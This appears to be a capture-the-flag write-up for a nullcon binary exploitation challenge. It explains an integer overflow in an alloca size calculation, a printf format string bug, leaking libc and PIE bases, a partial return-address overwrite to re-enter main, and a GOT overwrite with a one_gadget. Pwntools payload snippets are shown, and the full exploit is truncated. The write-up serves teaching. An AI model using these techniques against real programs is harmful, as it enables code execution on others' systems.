Description:
437 Pointsnc pwn2.ctf.nullcon.net 5003
f115365f85409565c4bdf94690434aae
8c0d248ea33e6ef17b759fa5d81dda9e
TLDR
- Leak libc and pie addresses with format string
- Overflow the last byte of ret addr and jump to another position in _libc_main to return to main
- Change exit got with one gadget using format string
Binary security and architecture
1 | $ checksec challenge |
No canary protection in this executable, relro is partial meaning we can overwrite the global offset table also we have another issue PIE is enabled.
1 | $ file challenge |
Libc is a shared library (dynamically linked) and the architecture is x86-64.
Static analysis
Analysing the main we know we have a very simple program, it reads an integer from the input and creates a buffer in the stack using alloca, then it reads input from the stdin and stores it in this new created buffer then it prints it using printf.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v4; // rsp
char s; // [rsp+0h] [rbp-70h]
char v6; // [rsp+Fh] [rbp-61h]
unsigned __int16 v7; // [rsp+6Eh] [rbp-2h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
if ( unk_20105C )
{
v7 = 200;
}
else
{
if ( !fgets(&s, 100, stdin) )
return 0xFFFFFFFFLL;
v7 = atoi(&s);
}
v4 = alloca(16 * (((__int16)v7 + 30LL) / 0x10uLL));
qword_201060 = (const char *)(16 * ((unsigned __int64)&v6 >> 4));
read(0, (void *)(16 * ((unsigned __int64)&v6 >> 4)), v7);
printf(qword_201060);
if ( unk_20105C )
{
read(0, &s, 0LL);
printf("JK, you lose!");
_exit(0);
}
++unk_20105C;
return 0LL;
}
We can achieve a buffer overflow by causing an integer overflow in the operations inside alloca, by sending a negative number will cause alloca to create a smaller buffer in the stack than the inputted string:1
2
3
4
5
6
7
8else {
if ( !fgets(&s, 100, stdin) )
return 0xFFFFFFFFLL;
v7 = atoi(&s); // Negative values
}
v4 = alloca(16 * (((__int16)v7 + 30LL) / 0x10uLL)); // integer overflow in this operations causing a smaller buffer then the input that will come next
qword_201060 = (const char *)(16 * ((unsigned __int64)&v6 >> 4));
read(0, (void *)(16 * ((unsigned __int64)&v6 >> 4)), v7); // input will be bigger than the buffer
We can leak and get arbirtrary write by using a format string vulnerability in printf:
1 | printf(qword_201060); // format string vulnerability |
Plan
- Leak libc and pie addresses
- Find a way to return to main
- Overwrite exit got address
Find a way to return to main
The most difficulty part of the challenge was to find a way to return to main, the pie is enabled so we can’t overwrite the global offset table or a global variable without leaking the PIE base address first.
My solution resolved on overflowing the last byte of the return address, in the c language after returning from the main function our program will jump into a location in __libc_start_main and execute exit with the value returned by the main function. If we modify the last byte we can prevent the execution of exit and rerun the code that the program used to call main in the beginning.
If you are used to using gdb you should have already noticed after the entry point there is a moment at _libc_start_main when you reach assembly instruction call rax
the rax register contains a pointer to the begining of main.
We just need to find the right place to jump in _libc_start_main and since ASLR doesn’t affect the last 3 numbers of a libc address it’s completely fine to only overflow the last byte, after some debugging I found a byte that will work for this libc version (2.23) 0xa8:
1 | r.send(" %27$lx"+'A'*0x80+'\xa8') # overwrite last byte of return address to jump to another _libc_main loc |
Leaking pie and libc
This can be done with the format string vulnerability itself, the libc address will show up after we overflow the buffer, we also need to leak PIE because we need the offsets to the global offset table we can find a pie address at the 27th position of the stack:
“%lx” because we want to leak a 64 bit pointer:1
r.send(" %27$lx"+'A'*0x80+'\xa8')
Then is just a matter of calculating the offsets(0x208a8,0x880) by using gdb:1
2
3
4
5
6
7
8
9output = r.recvuntil('\x7f')
LIBC = u64(output[-6:].ljust(8,'\x00'))-0x208a8 # libc leak
PIE = int(output[:14],16)-0x880 # geting pie
log.info("LIBC_BASE 0x%x"%u64(output[-6:].ljust(8,'\x00')))
log.info("LIBC_BASE 0x%x"%LIBC)
log.info("PIE 0x%x"%PIE)
ONE_GADGET = LIBC+0xf1147
Overwriting exit got address
I spent a lot of time here unnecessarily, to modify the address of exit_got we just need to modify last 1/2 bytes, instead I just modified everything spending a lot of time, while this is a good exercise is not very funny spending a lot of time figuring out a way to write a complete libc address during a competition, my solution resolved around sorting the HIGH,LOW addresses and do 3 writes:
1 | ONE_GADGET = LIBC+0xf1147 |
Also a format string library could also be used but I’m very lazy in starting learning how to use one.
The full exploit code:
1 | from pwn import * |